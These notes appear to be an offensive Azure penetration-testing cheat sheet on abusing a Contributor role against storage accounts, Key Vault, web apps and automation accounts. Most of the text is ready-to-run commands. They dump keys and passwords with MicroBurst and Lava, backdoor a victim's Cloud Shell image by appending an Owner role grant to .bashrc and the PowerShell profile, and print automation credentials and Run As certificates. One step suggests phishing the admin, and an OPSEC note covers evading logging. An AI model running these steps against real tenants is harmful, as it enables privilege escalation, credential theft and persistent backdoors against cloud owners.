- Storage accounts
	- Contributor role has these management plane permissions and can use them to exploit the data plane:
		- Microsoft.Storage/storageAccounts/listkeys/action - read access keys of storage accounts
		- Microsoft.Storage/storageAccounts/listAccountSas/action - Generate SAS token for data plane access at storage account level
		- Microsoft.Storage/storageAccounts/listServiceSas/action - Generate SAS token for data plane access at service level
	- MicroBurst
		- Dump credentials from Azure Storage instances (can also do other accounts)
			- `Get-AzPasswords -AutomationAccounts N -AppServices N -Keys N -ACR N -CosmosDB N -Verbose | Out-GridView`
			- Can use the keys to access these services to extract data or other credentials
		- Open Azure Storage Explorer
			- Authenticate with name from previous command and account key
	- Lava
		- `stg_blob_download` - Automatically download all blob containers in subscription
	- Azure Cloud Shell
		- https://www.netspi.com/blog/technical/cloud-penetration-testing/attacking-azure-cloud-shell/
		- Mount the image to view sensitive info and also force it to execute commands the next time it is mounted (automatically when Cloud Shell starts)
		- Auth to CLI as Contributor
			- `az login -u contributoruser@<domain_name> -p <contributor_user_password>`
		- Start Lava
			- `python3 lava.py`
		- Verify permissions
			- `exec priv_show`
		- Scan for Cloud Shell images
			- `exec stg_file_scan`
		- Download files in file shares (can take a while if there are a lot)
			- `exec stg_file_download` - Note the download location for later
		- Exit Lava
			- `exit`
		- Mount IMG file
			- `mount <download_location>/.cloudconsole/acc_azureadmin.img /mnt`
		- Cd into mounted file, write malicious command to .bashrc or .config/PowerShell/Microsoft.PowerShell_profile.ps1
			- `echo "az role assignment create --role "Owner" --assignee $(az ad user list --display-name contributoruser | jq '.[]' | jq -r '.userPrincipalName') &>/dev/null" >> .bashrc`
			- `echo "New-AzRoleAssignment -UserPrincipalName (Get-AzADUser -StartsWith contributoruser).UserPrincipalName -RoleDefinitionName Owner | out-null" >> .config/PowerShell/Microsoft.PowerShell_profile.ps1`
		- Unmount
			- `umount /mnt`
		- Get name of storage account
			- `az storage account list --query [].name -o tsv` - look for one that starts with "cs"
			- `storagename=<storage_acct_name>`
		- Get access key and file share and upload image
			- `key=$(az storage account keys list -n $storagename --query [0].value -o tsv)`
			- `csfileshare=$(az storage share list --account-key $key --account-name $storagename --query [].name -o tsv)`
			- `az storage file upload --account-key $key --account-name $storagename --share-name $csfileshare --path ".cloudconsole/acc_azureadmin.img" --source "<download_location>/.cloudconsole/acc_azureadmin.img"`
		- Wait for privileged account to open Azure Cloud Shell, or send phishing email with a link to the shell to the user
		- Clean up Owner permissions
			- `$upnsuffix=$(az ad signed-in-user show --query userPrincipalName --output tsv | sed 's/.*@//')`
			- `$contributoruser = "contributoruser@$upnsuffix"`
			- `$contributoruserid=$(az ad user list --upn $contributoruser --query [].objectId -o tsv)`
			- `az role assignment delete --assignee $contributoruserid --role "Owner"`
		- Remember to remove backdoored command in Azure Cloud Shell
		
- Key Vault
	- Contributor has no access to data plane by default, but has this permission on the management plane to give itself perms:
		- `Microsoft.KeyVault/vaults/accessPolicies/write`
		- OPSEC NOTE: Changing these permissions may be logged; try to use other principals that already have authorization (such as automation Run as, app registrations, and managed identities)
			- Automation accounts: Create a new runbook that uses the Run as account to access the key vault. 
			- App registrations: Authenticate as the app registration and access the key vault.
			- Managed Identities: Generate REST API tokens for the identity to access the key vault with.
		- Can also add access policy that allows the account to generate a trusted certificate - used in supply-chain attack
	- MicroBurst
		- Dump sensitive info from Key Vaults by temporarily changing permissions and reverting them
			- `Get-AzPasswords -AutomationAccounts N -AppServices N -Keys Y -ACR N -CosmosDB N -ModifyPolicies Y -Verbose | Out-GridView`

- Web apps
	- Collect publish profile, containing credentials
		- `Get-AzWebAppPublishingProfile`
		- MicroBurst
			- `Get-AzPasswords -AutomationAccounts N -StorageAccounts N -Keys N -ACR N -CosmosDB N -Verbose | Out-GridView`
	- Find FTP endpoint to review/modify app files:
		- `az webapp deployment list-publishing-profiles --name <appname> --resource-group <group-name> --query "[? ends_with(profileName, 'FTP')].{profileName: profileName, publishUrl: publishUrl}"`
	- Can use Console in Azure Portal or the SCM interface
		-  $APP_NAME.scm.azurewebsites.net
			- Can auth to this with the publish profile creds
	- Keep in mind these usually have managed identities too
	- [Lateral Movement in Azure App Services (netspi.com)](https://www.netspi.com/blog/technical/cloud-penetration-testing/lateral-movement-azure-app-services/)
	
- Automation Accounts
	- Review runbook code to find credentials
	- Extract stored account credentials and Run as account certificates
		- Write credential variables to job output
			- `$myCredential = Get-AutomationPSCredential -Name 'Cred-1'`
			- `$userName = $myCredential.UserName`
			- `$password = $myCredential.GetNetworkCredential().Password`
			- `$username`
			- `$password`
		- Export Run as certificates
			- `$RunAsCert = Get-AutomationCertificate -Name 'AzureRunAsCertificate'`
			- `$CertificatePath = Join-Path $env:temp RunAsCertificate.pfx`
			- `$Cert = $RunAsCert.Export('pfx','CertificatePassword')`
			- `Set-Content -Value $Cert -Path $CertificatePath -Force -Encoding Byte | Write-Verbose`
			- `$base64string = [Convert]::ToBase64String([IO.File]::ReadAllBytes('$CertificatePath))`
			- `$base64string`
		- MicroBurst
			- `Get-AzPasswords -AppServices N -StorageAccounts N -Keys N -ACR N -CosmosDB N -Verbose | Out-GridView`
			- Note that this will create files with a Run as certificate (pfx) and a script to log in as that Run as account
			- Can also use the REST API
				- `Get-AzAutomationAccountCredsREST`
				- https://github.com/NetSPI/MicroBurst/blob/master/REST/Get-AzAutomationAccountCredsREST.ps1